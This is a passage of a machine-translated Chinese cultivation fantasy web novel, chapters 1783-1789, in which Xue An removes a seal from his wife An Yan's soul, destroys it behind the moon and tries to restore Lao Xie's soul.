    "It''s okay, it''s just a little skin trauma!" Hu Ye explained with a smile.


    A Rou stretched out her hand, "Let me touch it!"


    Helpless, Hu Ye walked forward obediently, Arou gently touched Hu Ye''s cheek, and put her hand on his eyes.


    "Does it hurt?" A Rou asked distressedly.


    This tender scene immediately calmed everyone around.


    Xue An smiled at An Yan, and then avoided very interestingly.


    Before leaving, Xue An winked his eyes at night.


    Hu Ye grinned with a grin, but felt a warmth in his heart.


    He even felt that Arou''s hands touching his eyes were more stressful than the great elder.


    As the banquet became more and more lively, Xue An and An Yan had quietly appeared on a mountain not far away.


    The two found a big rock and sat next to each other.


    The mountain wind is blowing An Yan''s hair.


    Xue An gently hugged her shoulders, An Yan took advantage of the trend and leaned her head on Xue An''s shoulders.


    now.


    Above the head is the brilliant night sky of the galaxy, and under the feet are the lights of thousands of families, and people''s laughter can be heard faintly by the ears, which also brings out the tranquility around.


    Xue An smelled the fragrance in An Yan''s hair, and his heart suddenly became extremely quiet.


    It seems that two people can sit and sit close to each other until they are old.


    "Husband!" An Yan suddenly shouted in a low voice.


    "Ok?"


    "What did you encounter when you fell asleep? They all said that you were between life and death. It was very dangerous and might not even wake up again. How did you wake up?" An Yan asked softly.


    "This..." Xue An gently rubbed An Yan''s head and chuckled softly: "It''s a long story!"


    Then he looked far away and said lightly: "Yan''er, do you know what life and death are like?"


    "What?"


    "That is a place of nothingness and destruction. It can even be said to be the ultimate fate of the entire universe!" Xue An''s eyes became serious.


    "There, there is no light, no stars, even the darkest black hole has evaporated, everything has stagnated, time becomes meaningless in that situation, and life and death become a luxury."


    Although it was only a simple description, An Yan was still worried, and the hand holding Xue An gradually tightened.


    "That is the biggest heart demon nightmare on the road of practice and it has ruined countless geniuses. At that time, after entering it, I was panic because I couldn''t find a way out!"


    "All power has no meaning in it. You can only watch yourself go crazy a little bit."


    An Yan said distressedly: "Husband, how did you wake up?"


    Xue An smiled, "How did I wake up... I was already in despair at the time, but at this moment, a force suddenly appeared in my soul!"


    "A force?"


    "Yes! A...the power of faith!"


    An Yan began to tremble slightly.


    Xue An said with a serious face: "At that moment, I heard the call of countless Chinese people! The pious thoughts and ardent expectations contained in it directly ignited a flame of faith in my body!"


    "As soon as this flame came out, it immediately dispelled all the nothingness and darkness, and then I woke up!"

 Chapter 1784： This grand feast

    Hearing these words, An Yan let out a lingering breath, and then took Xue An''s arm tightly.


    "My ancestors and ancestors, you finally wake up, husband, but in the future you must never frighten me like this again!"


    "Don''t worry! I am now an immortal king, and have experienced the experience between life and death. From then on, my practice will be smooth all the way, and..." Xue An looked at An Yan with staring eyes.


    "The seal on your body has come to be completely resolved!"


    "The seal on my body?" An Yan couldn''t help but stunned. "Didn''t the previous evil **** Ji Yu said that the seal I held was insoluble?"


    Xue An smiled coldly, "It''s just a frog at the bottom of the well that has never seen the world, listen to her nonsense! I am a dignified Immortal Venerable. Although I have not completely recovered my strength, it is enough to unlock the seal on you."


    An Yan nodded, and suddenly said: "Husband, if, I mean, if I really can��t solve it, it��s okay! Anyway, I don��t feel anything wrong, it��s just that my cultivation is blocked. I will be content to stay with you and miss you every day!"


    Xue An stretched out his hand to stroke her hair, and said in a petting tone: "Silly girl, don''t think about your little head, I said that if you can unlock it, you can unlock it! And you are my Xue An''s woman, I How could you be allowed to be suppressed by some **** seal all the time! Leave everything to me!"


    "Hmm!" An Yan nodded with a happy face.


    At this moment, Yamashita did not know who set off the fireworks.


    Bright and dazzling fireworks exploded time after time in the high altitude, close to the top of the mountain, as if they could be caught with one hand.


    Such beauty also made Anyan cheered.


    "Wow, what a beautiful firework! Husband, look at it!" An Yan looked at Xue An with excitement and looked at the sky full of fireworks, jumping like a child.


    Xue An didn''t look at the fireworks, but peeked at An Yan''s exquisite side face, and then suddenly a word flashed in his mind.


    Your sweet smile is worth the most beautiful fireworks in your youth.


    "Yan''er." Xue An suddenly shouted.


    "Huh?" An Yan turned his head in surprise.


    At this moment, Xue An hugged An Yan in his arms.


    "You...what are you doing?" Looking at Xue An''s horrifying eyes, An Yan suddenly became a little nervous.


    Xue An smiled evilly, "Guess?"


    After all, he held An Yan, stepped out and flew directly to the sky.


    In the banquet at the foot of the mountain, Zhuge Zang occasionally felt something. He raised his head and happened to see the streamer that traversed the sky. He was startled at first, and even a slight smile appeared.


    "Master, what are you laughing at?" Wei Rulan asked puzzledly.


    "Oh, it''s nothing, it''s just a sigh, really an enviable couple!"


    "An enviable pair?" Wei Rulan looked dazed, and even if he saw Fox Ye and A Rou in the distance, he couldn''t help but realize.


    "Master, are you talking about Master Fox Ye?"


    Zhuge Zang was so dumbfounded when he heard the words, he shook his head, turned and left.


    At this moment, in a corner of this banquet, Fan Mengxue was looking at the sky with a confused face.


    In fact, the stream of light had long since disappeared, only the fireworks remained. Even so, the brilliance one after another could not conceal the pain in her eyes.


    Seeing this, the Tianzhuna on the side could not help but sighed, and then whispered: "Disciple, don''t be sad. If this is replaced by someone else, Master, I will help you get it back without you saying it! But you like it. The people are really..."


    Fan Mengxue lowered her head, Qingsi covered her cheeks, making it difficult to see the look on her face.


    But this silent silence made Tianzhe feel distressed.


    "Disciple, although I shouldn''t say this, I still want to persuade you to give up!"


    "Give up..." Fan Mengxue whispered softly, her voice seemed to have infinite sadness.


    "Yeah, give up! Because I know him too well, he won''t look back, so you should give up this kind of unnecessary waiting!" Tianzhuna said lightly.


    But Fan Mengxue did not respond to this.


    Tianzhuna continued to persuade him: "Mengxue, your talent in the dark is the highest among people I have ever seen, so your future achievements will be limitless, even if you don��t say it, you are my god. Chana��s apprentices are not expensive, but they are among the best. If you want, you can choose the young Toshihiko in the heavens, and I will destroy him if you dare to disagree!"


    At the end, Tianzhuna''s tone was full of boiling killing intent.


    But at this moment, Fan Mengxue gently shook his head, "Master, thank you for your kindness, but in my heart, no matter who it is, he can''t replace him!"


    Tianzhe was very anxious, "Mengxue, why are you so stubborn? Don''t you know that your current behavior is like moths fighting a fire, you are destined not to receive any response, but will be bruised all over?"


    Fan Mengxue nodded, "I know!"


    "then you����."


    "But I have no regrets!"


    Fan Mengxue''s extremely firm words made Tianzhe aphasia for an instant.


    At the same time, Fan Mengxue raised her head, her eyes gleaming like stars, tears flickering.


    "You said you told me to give up waiting, but this was how I waited for the first half of my life. I''m used to waiting, so it doesn''t matter whether he looks back or not! Because..."


    "Waiting has become all my meaning, if I give up, then I don''t even know how to face this vast world, how to live!"


    When she said this, Fan Mengxue was smiling, and she was very happy.


    But at the same time he was laughing, tears were already welling up.


    Listening to these extremely calm but extremely cruel words Seeing the tears on the face of my beloved disciple, the sky is like a knife.


    "The universe is so big and there are so many people. Why do you want to like him? You have to be someone else. I **** his head off!" Tianzhe was so depressed that he almost vomited blood.


    Compared to his resentment, Chu Wuxiang seemed to have picked up a treasure at this moment, looking at Zhou Daniu with bright eyes.


    "Who taught you how to practice Kungfu?"


    Zhou Daniu looked at the Chu Wuxiang, who was bigger than himself, and said, ��Of course it��s my instructor! He also personally gave me a technique at the time!��


    "Oh? What exercise did Xiao An give you? Can you tell me about it?" Chu Wuxiang said.


    Zhou Daniu knew that this big guy was a strong immortal king and had a good relationship with his instructors, so he didn''t hesitate to recite the exercises he had practiced honestly.


    The more I heard the expression on Chu Wuxiang''s face, the more excited he became. After he finished reading, Chu Wuxiang couldn''t wait to say: "You have cultivated to this realm with such a technique?"

 Chapter 1785： Forcibly accepting disciples

    "Yes? Is there any problem?" Zhou Daniu looked confused.


    "No one helped you?"


    "Help what?"


    "It''s like using secret medicine to temper your body?"


    Zhou Daniu shook his head, "The instructor said, all external forces are unreliable, and only the strengths that I have cultivated honestly are the most real, so I have never used any messy secret medicine."


    Chu Wuxiang''s entire face was shining, and he couldn''t help muttering: "A genius is definitely a genius, and it is also the kind with the highest talent! It can be cultivated only with such a crude technique. At this level, and without any shortcuts, this is simply born for physical cultivation!"


    Zhou Daniu didn''t understand what he was muttering. He couldn''t help but asked with all his doubts: "My lord, if there is nothing wrong, I will leave first!"


    Turn around and leave.


    "Wait!" Chu Wuxiang stopped him immediately, then looked at Zhou Daniu with a serious face, "Kneel down!"


    "Kneel down?" Zhou Daniu was almost at a loss for Monk Zhang Er, "Why should I kneel down?"


    But Chu Wuxiang had no time to explain to him, the muscles all over his body instantly bulged, and the might of the huge Immortal King immediately pressed Zhou Daniu to the ground.


    Zhou Daniu was furious, "Big man, what do you want to do? Don''t think that you can bully me if you are stronger than me!"


    As he spoke, he agitated his muscles very angry, trying to get rid of the shackles of Chu Wuxiang.


    And he almost succeeded.


    At this time, Chu Wuxiang was angry and rejoiced, and the excitement in his eyes almost overflowed.


    "I found a treasure! Hahaha!"


    As he said, he raised his big hand like a fan, and pressed a palm on Zhou Daniu''s forehead.


    Zhou Daniu still wants to struggle, but in front of Chu Wuxiang, who is serious, his power is almost the same as that of the worm shaking the tree.


    Immediately afterwards, a painful color appeared on Zhou Daniu''s face, and he couldn''t help but growl.


    Seeing this scene, the Fire Phoenix players not far away were furious, and they were about to rush over to fight for their brothers.


    Especially Zou Sui, who had the best relationship with Zhou Daniu, was so angry that his eyes turned blood red, and he roared and rushed forward.


    At the critical moment, Captain Cheng Hao was calmer and stopped the excited crowd with one hand.


    "Captain, what are you doing to stop us? Didn''t you see that Daniel is being bullied by that big man?" Zou Sui said anxiously.


    Cheng Hao shook his head with a look of confusion, "No!"


    "What''s wrong? People are about to be killed, what else is wrong?" Zou Sui became anxious and became very rude.


    "Captain, if you are afraid of this **** fairy king, then let me go by myself, I can''t just watch Daniel being bullied by others!"


    "Zou Sui, don''t you **** talk nonsense, is the captain like that?" someone scolded angrily.


    At the same time, Cheng Hao said solemnly: "I''m not afraid of that fairy king, but Daniel does not look like he is being bullied now!"


    "What does it look like? It''s like kneeling and singing conquest?" Zou Sui said coldly.


    Cheng Hao glanced at Zou Sui coldly, and Zou Sui''s dignity as the captain suddenly became honest.


    Then Cheng Hao said solemnly: "I can vaguely feel a hint of energy, this Immortal King Chu seems to be instilling something in Daniel!"


    Everyone was taken aback.


    At this moment, Ye Hanchang staggered over, carrying a bottle of aged wine in his hand, and then he smiled.


    "Yes, this big cow was obviously taken by Lao Chu, and he is now passing on the practice to him!"


    "Passing the power?" Zou Sui was a little confused.


    Ye Hanshang nodded, "Yeah! And it''s the highest-end kind of power transmission! Tsk tsk, don''t hesitate to spend his own essence and blood to improve his talent as much as possible? It seems that Lao Chu values ??this big bull what!"


    Although there were doubts in his heart, Ye Hanshang, as the fairy king, obviously wouldn''t be unfounded in what he said, so everyone in Fire Phoenix calmed down.


    This transfer of power lasted for a full cup of tea, and it didn''t end until Zhou Daniu''s skin was shiny.


    Chu Wuxiang took a half step back with a pale face. Although his aura was a little wilting, his expression was very excited, and he stared at Zhou Daniu with bright eyes.


    The confusion in Zhou Da Niu''s eyes gradually faded, and finally the whole person was agitated, and then he recovered his sobriety.


    Then he looked at Chu Wuxiang in front of him with some astonishment, "You..."


    Chu Wuxiang chuckled, "Okay, now your head is knocked, and I have passed on the gong. Since then, we have been masters and apprentices. Call me Master!"


    Zhou Da Niu''s mouth was wide open, and he obviously hadn''t fully awakened yet, but the additional exercises in his mind could not be faked.


    Tian Cicada has no phase power!


    A magic formula that is not known how many times stronger than Zhou Daniu''s previous practice.


    It is also Chu Wuxiang''s trick at the bottom of the box.


    It can be said that this is the first body repairing secret technique of the heavens.


    But Zhou Daniu obviously hesitated, because a thought suddenly flashed through his naive head.


    That''s what the instructor would think about this matter?


    Will you blame yourself?


    So he was silent.


    Chu Wuxiang touched the back of his head in some embarrassment, apparently he didn''t understand why Zhou Daniu refused to call his master.


    For a moment, two strong men with big nerves froze there.


    Seeing this scene, Ye Hanshang couldn''t help laughing, then shook his head and sneered: "Old Chu, how can you accept apprentices like this? You passed the gong before others agreed?"


    Chu Wuxiang smiled, "I''m not afraid that he will run away!"


    Ye Hanshang looked at Chu Wuxiang again, "And you, this old Chu gave you all the things at the bottom of the box, and you can''t be exaggerated to call Master, as for those you worry about, it''s not a problem at all! If Old Xue knew that you had worshipped Chu Wuxiang as a teacher, he would definitely be happy for you from the heart!"


    Hearing Ye Hanshang''s words, Zhou Daniu just scratched his head and shouted in a naive voice.


    "Master!"


    Chu Wuxiang was really happy, and there was nowhere to put his excited hands and feet, "Okay! Good apprentice! Get up quickly!"


    After Zhou Daniu stood up, their master and apprentice stood together. The appearance was simply amazing Because of the same bald head and the same big man, except that Chu Wu was taller and mightier than Zhou Daniu, it was simply Carved out of a mold.


    At this time, the sky had already appeared white, but the feast was still going on.


    Jin Jue looked at the smiles on everyone''s faces, gently clasped his palms together, and exclaimed with joy, "Nanwuwu Buddha, it is dawn!"


    In this way, after three days of celebration, the feast just ended.


    The powerhouses of various countries and the dignitaries and celebrities dispersed separately, and everything gradually became calm.


    But at this moment, in the No. 1 Tianzi Villa in Beijiang, Xue An looked at An Yan with a serious expression.


    "are you ready?"


    "Yeah!" An Yan nodded solemnly.


    "Okay! Then I''ll start!"


    Having said that, Xue An urged the power of the fairy king to completely break the seal on An Yan and untie her shackles.

 Chapter 1786： Check everything

    With Xue An''s current strength, it is enough to thoroughly analyze a person''s soul.


    This is what the Buddhism said is that there is no problem in searching.


    Even if he wants to, he can transform a person from the soul level.


    The premise is that the other party can endure unimaginable pain.


    Of course, Xue An naturally couldn''t do that when facing An Yan.


    He first let An Yan completely relax. This kind of relaxation means that even the spiritual mind has entered a state of undefended, which is equivalent to opening the whole body and mind to him.


    According to normal circumstances, this step should be the most difficult.


    Because this requires mutual trust has reached an unsuspecting height.


    Imagine you are walking on the edge of a cliff with a blindfold, everything can only be guided by a certain voice.


    In this case, how much courage and trust do you have to dare to follow the instructions without any doubt?


    But An Yan did it, and saw that she didn''t even hesitate, she just took off all the defenses, and the whole person entered a deep state of concentration.


    Seeing this scene, Xue An took a deep breath, and the huge divine thought instantly split into countless filaments, and plunged into Anyan''s sea of ??knowledge.


    In an instant, the divine minds of the two were connected, and the whole villa quieted down.


    Outside the villa, the atmosphere is also very solemn.


    "Old Zhuge, do you think Old Xue can succeed this time?" Hu Ye asked nervously.


    Zhuge Zang shook his head, "I don''t know!"


    "I don''t know?" Hu Ye''s eyes widened, "Why don''t you know? Are you not Zhuge, who claims to have known five hundred years later? Divination counts one hexagram!"


    Zhuge Zang glared at Hu Ye, "Do you really regard me as an omnipotent **** stick? Xiao An is a man of destiny, and his fate is extremely complicated, and I can''t deduct it at all!"


    "After saying so much, I just can''t count it!" Hu Ye curled his lips.


    As soon as the voice fell, A Rou, standing behind Hu Ye, suddenly pulled the corner of his clothes.


    "Be quiet, don''t disturb Sister Yan!"


    Huye immediately closed his mouth.


    This scene also caused many people present to burst into laughter.


    It seems that Huye, who has always been unruly, has finally met someone who can control him!


    Tang Xuan''er, Hu Ying and others didn''t pay attention to this at all. They all stood in front of the Villa No.1 Tianzi with nervous expressions, anxiously waiting for the result.


    at the same time.


    Xue An was exploring little by little in Anyan''s soul.


    Anyan''s soul is extremely clean and pure, just like a clear mountain spring, you can see to the bottom at a glance.


    Xue An easily entered the sea of ??memories in Anyan, which is where people store memories.


    But Anyan''s sea of ??memories is very different from ordinary people.


    Because above the sea of ??her memory, there are many bright spots of light floating.


    When Xue An''s spirit came into contact with these light spots, he couldn''t help but be taken aback.


    Because among these light spots, there are sections of memories about the two of them.


    If you look closely, you can see his acquaintance with An Yan, his love, and all the bits and pieces in the future.


    And all the memories are so vivid and vivid. Obviously, these memories are very important to An Yan, and they are not even willing to miss a single bit.


    Seeing this, Xue An couldn''t help but feel a sore nose.


    This silly girl...


    Xue An secretly said a word, and then urged his spiritual thoughts, sneaked into Anyan''s sea of ??memory, and continued to dive inside.


    Soon Xue An passed through the sea of ??memory and came to a very strange place.


    There are huge bubbles everywhere here, and the bubbles are still glowing blue, floating in the air.


    This is the most mysterious place in the human soul.


    Those huge bubbles are the carriers of human consciousness, so many bubbles together form the soul of a person.


    But just in such a mysterious world, there was a gray-black brilliance floating in the air, and countless silk threads stretched out to extend into these bubbles.


    As the bubbles floated, the seal flickered indefinitely, as if a living creature was breathing at first glance.


    Guanghua flashed in Xue An''s eyes.


    There is no doubt that this is the seal that has been suppressing An Yan''s talent!


    Xue An took a deep breath and did not act rashly.


    Because this seal has obviously been closely integrated with An Yan''s soul, if it is forced to break open, it is likely to damage An Yan''s soul.


    If the average strong person saw this scene, it is estimated that they would be helpless.


    But Xue An only snorted, "Doesn��t it feel too vicious to use this method to deal with a woman who was only a mortal at the time?"


    After all, Xue An urged his spiritual thoughts to spread like water.


    Wherever it went, the gray and black light filaments that had stretched into the bubbles were uprooted.


    And this seal seemed to be threatened, and after a few painful struggles, he rushed to the nearest bubble at an extremely fast speed, trying to sneak into it.


    Once in, it becomes more troublesome to remove it.


    At this critical moment, Xue An''s **** read.


    In a short time, the silk divine mind was woven into a whole, firmly holding the seal, and then trapping it.


    This seal began to struggle frantically, and emitted a strong gray and black air, trying to corrode Xue An''s spirit.


    This kind of gray and black gas can even instantly corrode the soul of a strong man.


    But Xue An just sneered at this.


    "Give me... get out!"


    With this burst of shouting, Xue An''s cultivation base surged, the mighty Immortal King''s might soared into the sky, and his divine consciousness became extremely tough, and then he pulled this divine consciousness from Anyan''s divine soul. .


    The moment it left Anyan''s soul, Anyan was shocked and then fainted backwards.


    Xue An waved his hand, a soft vigor supported An Yan''s body, and then said solemnly: "Xuan''er, come in and take care of Yan''er!"


    Hearing Xue An''s call, Tang Xuan''er and Hu Ying who were waiting outside the door immediately pushed the door and walked in.


    "Brother Xue, what''s wrong with Sister Yan?" Hu Ying couldn''t help exclaiming when she saw An Yan''s eyes closed, unconscious.


    Xue An smiled, "It''s okay, it''s just that the soul has been shaken, and I will wake up soon!"


    "The seal on Sister Yan..."


    Xue An nodded, "It has been removed!"


    These words made Tang Xuan''er and the others relieved, and a smile of joy appeared on their faces.


    At this moment, Zhang Xiaoyu was panting and led the two little girls to come.


    Seeing An Yan floating in mid-air, Zhang Xiaoyu couldn''t help exclaiming, "My mistress, what''s the matter with you? My mistress, don''t you have anything to do..."

 Chapter 1787： Might of Destruction

    Before she finished her words, Hu Ying knocked her head fiercely, "What are you shouting? Sister Yan just fainted temporarily because she broke the seal!"


    When I heard that the seal on my mother had been broken, I was overjoyed to miss it.


    And Zhang Xiaoyu also touched the back of a big bag, grinning with pain, and giggling.


    Just when there was joy in the Tianzi No. 1 Villa, Xue Anye had already stepped outside.


    When he saw him, Zhuge Zang couldn''t help but brighten up, "It''s done?"


    Xue An nodded, "It''s done!"


    As he said, he opened his hand, and in the palm of his hand was the seal firmly trapped by the divine mind.


    When I saw this thing, Zhuge Zang, Hu Ye, Ye Hanshang and other five immortal kings all leaned forward and looked closely.


    After a while, Zhuge Zang''s expression changed, "This breath..."


    Xue An''s face sank like water, "Yes, this breath shows that it is not a thing of the heavens!"


    As soon as this statement was made, all five of them changed their colors.


    People have not yet reached a conclusion about how big the heavens are.


    As far as the heavens...


    That''s an almost illusory topic, even if it really exists.


    But occasionally some weird things appear in the heavens, these things without exception, all carry a certain unspeakable peculiar atmosphere, and they are definitely not owned by the heavens.


    So some people think that these things come from outside the heavens.


    And on the seal pulled out from Anyan''s soul, there was also that kind of extremely strange and evil aura.


    That''s why Zhuge Zang was so surprised.


    "Does it really exist outside the heavens? It''s not that there was a strong immortal king who flew in one direction, trying to break through the edge of the heavens, but found him from the other side of the heavens a few years later? The corpse, will it end up in the end?" Ye Hanchang frowned and said.


    "The universe is vast, who knows whether it exists or not? This seal is obviously not a good thing, Xiao An, what are you going to do with it?" Zhuge Zang asked.


    Xue An said lightly: "The earth is too small and I am afraid that it will hurt the innocent, so I plan to go to outer space to destroy it!"


    "Okay! Let''s go together." Zhuge Zang took out a cracked compass from his arms.


    "Old way, what are you doing with this shit?" Hu Ye asked curiously.


    "Bah, you just broke the thing, this is the treasure at the bottom of my box, called the Luo Tianpan, which is specially used to find the soul and trace!" Zhuge Zang cherished the rubbing the Luo Tianpan.


    "Looking for soul and trace? Old Tao, what are you going to do?" Hu Ye still didn''t understand.


    Zhuge Zang sighed softly, "I have eaten my fat aunt for more than a year, so I can''t eat it for nothing! I promised her before that I would resurrect Lao Xie for her. Although the chance is a little slim, I have to give it a try! Just this Luo Tian If the disk is used again this time, I am afraid it will be completely scrapped!"


    As he said, Zhuge Zang''s face showed regret.


    Xue An couldn''t help laughing when he saw this.


    In fact, he guessed the meaning of this old way from the moment Zhuge Zang took out the Luo Tianpan.


    So he said lightly: "Okay, I also promised Fat Auntie about this matter, so you won''t be in vain. I will refining a compass for you then!


    When Zhuge Zang heard the words, even his eyebrows bloomed with joy, "This is what you said! Don''t regret it!"


    "Xue An never regrets when I speak! Let''s go, before Yan''er wakes up, let''s take care of everything!"


    With that said, Xue An rose into the sky, followed by five people.


    In the blink of an eye, the six of them arrived in space behind the moon.


    This place is empty enough, but also blocked by the moon, which can keep the earth safe.


    But to be on the safe side, Zhuge Zang and other five people still dispersed, forming an encirclement and protecting Xue An in it.


    Xue An released his hand, and then untied the shackles of divine consciousness.


    At this moment, the seal turned into a stream of light, and immediately fled away.


    Guanghua flashed in Xue An''s eyes, and a sword light slashed over.


    However, this sword light seemed to be cut on the air, and it didn''t cause any ripples at all, and it cut through the seal.


    Xue An raised his eyebrows slightly, then raised his fist and banged, but the result was the same. A fist strong enough to blast a high mountain had no effect on the seal.


    But with such a delay, this seal has already rushed to the edge of the moon, and it is about to escape.


    Zhuge Zang shouted: "Xiao''an, this seal seems to be immune to all physical damage, so you should attack with divine mind!"


    In fact, without Zhuge Zang, Xue An has already seen the clues.


    His heart couldn''t help but move slightly.


    Immune to all physical damage....


    How does this sound very similar to the ancient mirror carried by the Lord of the Abyss?


    Could they all come from the same place?


    These thoughts flashed through Xue An''s mind.


    At the same time, Xue An''s spiritual thoughts surged out, once again firmly binding the seal.


    Immediately afterwards, Xue An stepped closer to the seal, waving his hand and it was a red lotus fire.


    This flame enveloped the seal, and then it burned.


    This time, the seal could no longer easily be immune to damage, but struggled painfully.


    Red Lotus Industry Fire is really useful for it!


    But at this moment, the seal seemed to have known that the end was approaching, and suddenly began to swell rapidly.


    "Hurry up, it''s going to explode!" Hu Ye exclaimed.


    The voice just fell.


    However, a white light suddenly appeared in the void, and then this white light easily traversed the entire solar system for a while.


    Then the white light rumblingly spread out, and the stars shook wherever it passed, and even the sun trembled slightly.


    The Eastern Hemisphere, where this place is in the dark night, is as bright as daylight in an instant.


    But the most unlucky thing is the nearest moon I saw that its pitted surface of the moon was directly blown out of a bottomless crater, and even deeper can be The moon penetrated directly.


    at last.


    The shaking stopped, Zhuge Zang and the others fell out of the void with grief, and then looked at everything around them with lingering fears.


    "My god, the power of this explosion... is almost as good as a blow from the emperor!" Hu Ye said in amazement.


    Xue An stood in the void with a sinking face. He had just gotten the closest to the seal and did not dodge in the whole process. It stands to reason that he should be injured.


    But when the explosion just started, the Red Lotus Industry Fire enveloped Xue An entirely, so there was no shock.


    Even so, Xue An''s eyes were still full of deep fear.


    "Xiaoan..." Zhuge Zang shouted at this time.


    Xue An let out a sigh of relief slowly, then turned to look at everyone, "I''m fine, just thinking about some problems!"

 Chapter 1788： Uncle Xie, Ill take you home

    The compass disk began to rotate slowly, and a little brilliance appeared on the damaged disk, and finally gathered into a huge beam of light.


    In the beam of light, all kinds of magical symbols are spinning and deducing constantly, among which there are various illusions, which are breathtaking.


    "How? Can you find it?" Xue An asked.


    Zhuge Zang shook his head, "It''s been too long, if he still has a ray of obsession, he can still find it, otherwise...the hope is extremely slim."


    The voice just fell, but a blurry scene suddenly appeared in the beam of light.


    Zhuge Zang was shocked, "found it!"


    Everyone immediately stared at it.


    I saw an empty world in the picture, and a ray of spirits that had faded almost imperceptibly was wandering alone in this world.


    Seeing this scene, Xue An''s eyes narrowed slightly, and he whispered: "I know here!"


    "This is the place where I fought against the evil gods the last time! It turns out that Uncle Xie has been wandering here for a long time!"


    Xue An''s voice was rather lamented.


    At this moment, the crack on the Luo Tianpan suddenly deepened, and then completely shattered.


    The beam of light dispersed, Zhuge Zang yelled distressedly, "My Luo Tianpan!"


    Xue An chuckled lightly, "After doing this, I will recast the compass for you!"


    With that said, Xue An stepped forward and came directly into the earth from the back of the moon.


    This is the location of the last World War, just a step away from Villa No.1 Tianzi.


    But even at such a close distance, no one has been able to detect the existence of Lao Xie''s soul.


    All this is because Lao Xie''s soul is really too weak and too weak.


    It seems that a gust of wind can blow it away.


    But it is such a fragile existence, but tenaciously survived in this world for so long.


    It was only because of Lao Xie''s extremely tenacious obsession that this miracle was created.


    Xue An followed the scene displayed by Luo Tianpan and found where Lao Xie was. At this moment, there was still nothing in his spiritual perception.


    But when he completely enveloped the surrounding world with his divine mind, he finally saw the thin and transparent figure.


    At this moment, this figure is still wandering slowly, as if looking for... a way home.


    Xue An whispered: "Uncle Xie, I will take you home!"


    After that, he separated a strand of divine thought that was as thin as a hair, and carefully restrained the divine soul of Lao Xie.


    Because he is too fragile, if he is not careful, he may break it.


    Therefore, Xue An''s technique was very gentle during the whole process, it can be said that he did not even dare to breathe.


    It wasn''t until Lao Xie''s spirit was imprisoned that he turned around and flew to Beijiang with this trace of spirit.


    This time Xue An''s speed was very slow, because he was afraid that too fast would cause Lao Xie''s spirit to collapse.


    Therefore, it took a full quarter of an hour to return to Beijiang, when he landed in front of the Lao Xie Hotel.


    Zhuge Zang and others are already waiting here.


    Aunt Fatty and Xie Jingjing have also heard the news and are all waiting in front of the door.


    Old Xie stood aside dullly, with an eternal smirk on his face.


    After seeing Xue An, everyone immediately rushed forward.


    The fat aunt choked and said, "Xiao''an, thank you Uncle and him..."


    Xue An nodded, "Don''t worry Fat Auntie, Uncle Xie''s soul has been found, and I will help her merge now!"


    Aunt Fatty held back the tears, she was speechless, she could only nod her head vigorously.


    Xue An stepped up to Lao Xie and said in a deep voice, "Uncle Xie, this is your last chance. I will help you. However, whether you can recover and what you can recover depends on you. tried!"


    With that, Xue An gently drew the wisp of spirit behind him, took a deep breath, and then slammed it on Lao Xie''s forehead.


    Old Xie shook his whole body, his sluggish eyes suddenly widened, his mouth let out a low roar, and he was obviously suffering extremely great pain.


    Aunt Fatty''s eyes burst into tears, and Xie Jingjing also burst into tears, gently hugging her mother.


    As mentioned before, Xue An��s current strength can transform a person from the soul level.


    And being able to transform means that it can help them merge.


    Xue An is now fusing Lao Xie''s spirit with his ontology through his meticulous control of the spirit.


    The whole process is comparable to the most sophisticated surgical operation, but it is more dangerous than that.


    Because the failure of the operation is death at most, but if the fusion of the divine consciousness fails, then Lao Xie will collapse the divine soul and cut off the last ray of life.


    Under this situation, Xue An couldn''t help showing a cold sweat on his forehead.


    at the same time.


    An Yan, who had already woken up, arrived quietly with everyone.


    But no matter who it is, he dare not speak at this moment, and can only stand in the distance and watch with his breath.


    at last.


    After a long wait of more than an hour, Xue An suddenly let out a breath, and then took a step back.


    "All right!"


    As soon as the voice fell, Lao Xie crashed to the ground and passed out.


    Aunt Fatty rushed over immediately and looked at Old Xie on the ground extremely nervously. She wanted to reach out to help, but she didn''t dare to look at Xue An.


    "Xiao''an, what''s wrong with Uncle, thank you? Why did you faint suddenly?"


    "Aunt Fatty, I have merged the last ray of uncle Xie''s remaining divine consciousness with his body, and fainted because he wanted to digest this sudden divine consciousness, but how much can it absorb specifically..." Xue An paused. pause.


    "We can only look at the good fortune of Uncle Xie. If he has a deep obsession and a tough mind, then he can completely digest this ray of divine thought, and even return to the original state."


    "What if you can''t do it?" Xie Jingjing asked anxiously.


    Xue An was silent for a moment, "Then there will be no more chance!"


    Upon hearing Xue An''s words, Xie Jingjing''s face turned pale, and then she looked at Lao Xie on the ground with tears.


    Aunt Fatty slowly squatted down and sat next to Lao Xie, then stretched out her hand to gently stroke Lao Xie''s palm, and whispered softly.


    "Regardless of whether he can recover or not, in fact I can accept it, as long as he can always be by my side I have no other extravagant hopes!"


    With that, a smile appeared on Fat Auntie''s face and said to Xue An, "Xiao An, Mr. Zhuge, thank you very much!"


    Xue An did not speak, but Zhuge Zang couldn''t help but sighed, "Aunt Fatty is polite. This is what I should do. If I really can''t recover, I hope I will mourn for Fatty!"


    But at this moment, Xie Jingjing suddenly seemed to have collapsed, and she fell to the ground and began to cry.


    "Dad, wake up! I beg you to wake up! I don''t want you to live so muddled, I want you to recover, I want to hear your nagging, I want to hear you scold me!"


    The sound of blood sobbing moved everyone.


    An Yan wiped the tears from the corner of her eyes, then walked to Xue An''s side and whispered: "Husband, can Uncle Xie wake up?"


    Xue An shook his head, "I don''t know, it all depends on his own good fortune and hard work!"


    At this moment, Fox Ying, who had always been sharp-eyed, suddenly screamed, "Look at him, his fingers moved!"

 Chapter 1789： 1 cut, its all for his luck

    Everyone looked down.


    really.


    Old Xie''s finger flicked intentionally or unintentionally.


    Xie Jingjing, who was crying loudly, stopped crying immediately when she saw it, then knelt and crawled over, looking at her father hopefully.


    At the same time, Lao Xie''s eyelids trembled, then slowly opened his eyes.


    The moment he saw his eyes, Xie Jingjing''s heart fell to the bottom.


    Because she couldn''t see the slightest light in these eyes, just like Lao Xie before, there was no change at all.


    Xie Jingjing was cold all over, and tremblingly shouted: "Dad! Say something, dad!"


    But Lao Xie didn''t react at all, just staring forward in a daze.


    Aunt Fatty was also shaking, and whispered: "Xiao''an, thank you Uncle and him..."


    Xue Anye had rushed to the front. After carefully examining the situation of Lao Xie, he finally fell silent and shook his head.


    "Failed!"


    As soon as this sentence came out, Xie Jingjing collapsed completely, she fell to the ground, and murmured in tears.


    "Dad, look at me, I''m your daughter Jingjing! Don''t you like me the most? You said you want to watch me get married, why don''t you wake up? Dad, me Miss you, I really miss you!"


    The sobbing voice silenced everyone.


    Xue An couldn''t help but sigh lightly.


    In fact, with Xue An''s current strength, it is possible to forcibly modify Lao Xie''s spirit to make him act like a normal person.


